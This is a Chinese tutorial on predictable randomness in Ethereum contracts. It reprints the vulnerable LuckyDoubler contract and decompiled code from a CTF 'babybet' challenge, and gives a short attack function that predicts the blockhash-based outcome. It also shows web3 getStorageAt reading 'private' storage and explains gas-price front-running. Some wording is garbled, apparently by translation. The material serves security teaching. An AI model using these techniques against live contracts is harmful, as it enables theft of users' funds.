本文继续前文的讲解。在前文中我们介绍了区块链中由公开变量做种子而引起的安全问题;有些合约使用区块哈希作为变量并将其放入合约函数中作为某种读博游戏的判定依旧。
由于这些随机数并非真正的“随机”,所以其安全隐患也是巨大的。本文我们继续介绍四种随机数漏洞类型。
block.blockhash(block.number-1)
。
许多合约使用blockhash作为生产随机数的变量,并传入上一个区块编号。这种方法同样存在问题,攻击者可以调用相同的方法来生成该随机数。
例如下面一个合约:
/**
*Submitted for verification at Etherscan.io on 2016-04-23
*/
contract LuckyDoubler {
//##########################################################
//#### LuckyDoubler: A doubler with random payout order ####
//#### Deposit 1 ETHER to participate ####
//##########################################################
//COPYRIGHT 2016 KATATSUKI ALL RIGHTS RESERVED
//No part of this source code may be reproduced, distributed,
//modified or transmitted in any form or by any means without
//the prior written permission of the creator.
event log(uint256);
address private owner;
//Stored variables
uint private balance = 0;
uint private fee = 5;
uint private multiplier = 125;
mapping (address => User) private users;
Entry[] private entries;
uint[] private unpaidEntries;
//Set owner on contract creation
function LuckyDoubler() {
owner = msg.sender;
}
modifier onlyowner { if (msg.sender == owner) _ }
struct User {
address id;
uint deposits;
uint payoutsReceived;
}
struct Entry {
address entryAddress;
uint deposit;
uint payout;
bool paid;
}
//Fallback function
function() {
init();
}
function init() private{
if (msg.value < 1 ether) {
msg.sender.send(msg.value);
return;
}
join();
}
function join() private {
//Limit deposits to 1ETH
uint dValue = 1 ether;
if (msg.value > 1 ether) {
msg.sender.send(msg.value - 1 ether);
dValue = 1 ether;
}
//Add new users to the users array
if (users[msg.sender].id == address(0))
{
users[msg.sender].id = msg.sender;
users[msg.sender].deposits = 0;
users[msg.sender].payoutsReceived = 0;
}
//Add new entry to the entries array
entries.push(Entry(msg.sender, dValue, (dValue * (multiplier) / 100), false));
users[msg.sender].deposits++;
unpaidEntries.push(entries.length -1);
//Collect fees and update contract balance
balance += (dValue * (100 - fee)) / 100;
uint index = unpaidEntries.length > 1 ? rand(unpaidEntries.length) : 0;
Entry theEntry = entries[unpaidEntries[index]];
//Pay pending entries if the new balance allows for it
if (balance > theEntry.payout) {
uint payout = theEntry.payout;
theEntry.entryAddress.send(payout);
theEntry.paid = true;
users[theEntry.entryAddress].payoutsReceived++;
balance -= payout;
if (index < unpaidEntries.length - 1)
unpaidEntries[index] = unpaidEntries[unpaidEntries.length - 1];
unpaidEntries.length--;
}
//Collect money from fees and possible leftovers from errors (actual balance untouched)
uint fees = this.balance - balance;
if (fees > 0)
{
owner.send(fees);
}
}
//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
log(hashVal);
return uint256((uint256(hashVal) / factor)) % max;
}
//Contract management
function changeOwner(address newOwner) onlyowner {
owner = newOwner;
}
function changeMultiplier(uint multi) onlyowner {
if (multi < 110 || multi > 150) throw;
multiplier = multi;
}
function changeFee(uint newFee) onlyowner {
if (fee > 5)
throw;
fee = newFee;
}
//JSON functions
function multiplierFactor() constant returns (uint factor, string info) {
factor = multiplier;
info = 'The current multiplier applied to all deposits. Min 110%, max 150%.';
}
function currentFee() constant returns (uint feePercentage, string info) {
feePercentage = fee;
info = 'The fee percentage applied to all deposits. It can change to speed payouts (max 5%).';
}
function totalEntries() constant returns (uint count, string info) {
count = entries.length;
info = 'The number of deposits.';
}
function userStats(address user) constant returns (uint deposits, uint payouts, string info)
{
if (users[user].id != address(0x0))
{
deposits = users[user].deposits;
payouts = users[user].payoutsReceived;
info = 'Users stats: total deposits, payouts received.';
}
}
function entryDetails(uint index) constant returns (address user, uint payout, bool paid, string info)
{
if (index < entries.length) {
user = entries[index].entryAddress;
payout = entries[index].payout / 1 finney;
paid = entries[index].paid;
info = 'Entry info: user address, expected payout in Finneys, payout status.';
}
}
}
该合约重点部分为:
//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant private returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
该函数为随机数生成函数,该函数设置了一个初始参数FACTOR用于对随机数进行初步处理。那么该随机数是如何生成的呢?
这里合约中使用lastBlockNumber = block.number - 1
以及uint256(block.blockhash(lastBlockNumber))
来生成了hashVal
这个参数,然而该变量的随机数种子是由区块已知的部分组成的。
我们部署合约并执行。
在log中看到了相关信息,同样我们可以在执行该函数前进行预操作以便能够预测随机数。
而我们在后面会对该类型的ctf题目进行一些简单的讲述。
最后的方法是使用未来区块哈希来进行随机数预测,方法步骤如下:
玩家进行下注,合约对玩家的下注信息进行记录并存在区块的编号
第二步调用合约,玩家询问合约中奖号码的具体值
合约从存储中检索保存的block.number并获取其blockhash,然后用于生成伪随机数。
然而该方法同样存在一些弊端:
由于区块的扩展性问题,所以该方法不能保存所有的区块哈希,稚嫩保存最近的256个区块的哈希值,其他的值均为0.
所以当第二次调用的值超过了256数量,此时哈希变为不可用,并且随机种子均为0 ,同样产生威胁。
被利用的这个弱点的最着名的案例是SmartBillions
彩票的黑客攻击。 合约对block.number
的验证不充分,导致400 ETH丢失。
而在CTF中同样有类似的题目,例如今年强网杯的babybet
题目就需要我们进行随机数预测。
function bet(var arg0) {
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
if (var1 != arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
}
}
而我们写脚本就可以对其进行攻击。
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
详细的题解可以看我之前的文章:
为了增加随机数的随机性,一些合约使用了被认为“私有”的种子作为随机数生成的参数。例如:
bytes32 _a = block.blockhash(block.number - pointer);
for (uint i = 31; i >= 1; i--) {
if ((uint8(_a[i]) >= 48) && (uint8(_a[i]) <= 57)) {
return uint8(_a[i]) - 48;
}
}
在该代码中,合约定义了pointer
指针作为私有变量,合约创建者本意想隐藏该私有变量,让用户参与者无法获取到该种子的具体数字。在每次游戏之后,1到9之间的中奖号码被分配给该变量,然后在检索blockhash时将其用作当前block.number的偏移量。
然而我们知道,区块链的规则是将数据公开透明,所以这些所谓的私有变量可以通过web3的方法进行获取,下面我们对该方法进行详细的讲解。
查看合约制定内存的方法,虽然合约定义的内容是private类型,但是我们仍然可以拿到。
文档详情:https://web3js.readthedocs.io/en/1.0/web3-eth.html
在合约中,我们可以这样进行查看:
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
若要查看在内存中第一个位置的函数值,那么使用web3.eth.getStorageAt("0x80994df46e168050262d1a63129592fc6247b4ed", 1, function(x, y) {console.warn(web3.toAscii(y))});
。
使用这个函数是只能够查看private变量吗?
我们进行测试。
测试代码:
pragma solidity ^0.4.10;
contract attack{
uint private a;
uint public b;
uint private c;
bool public locked;
bool private locked1;
function attack(){
a = 1;
b = 2;
c = 3;
locked = true;
locked1 = false;
}
}
然后我们对所有的变量进行访问测试:
这里我们发现对于布尔变量,我们能够得到true为1,false为0 。
为了获得最大奖励,矿工根据每笔交易使用的累计gas选择交易来创建新区块。区块中交易执行的顺序由gas价格决定。gas价格最高的交易将首先执行。因此,通过操纵gas价格,可以在当前区块中的所有其他交易之前执行期望的交易。当合同的执行流程取决于其在一个区块中的位置时,这可能构成安全问题 - 通常称为Front-running。
彩票使用外部函数来获得伪随机数,用于确定每轮投注中的投注者中的获胜者。这些号码是未加密的。攻击者可能会观察待处理事务池并等待来自oracle的号码。一旦oracle的交易出现在交易池中,攻击者就会以更高的汽油价格下注。攻击者的交易最后一轮,但由于天然气价格较高,实际上是在oracle交易之前执行,使得攻击者获胜。ZeroNights ICO Hacking Contest
中有这样的任务。
这种问题同样存在于许多游戏合约中,比如Fome3D这种。很严重的危害。
另一个例子是名为“Last is me!”的游戏。每当玩家购买一张票时,该玩家就会声称最后一个座位并且计时器开始倒计时。如果没有人在一定数量的街区内购买机票,最后一个“坐下”的玩家将获得累积奖金。当该轮即将结束时,攻击者可以观察交易池以进行其他参赛者的交易,并通过更高的gas价格获得累积奖金。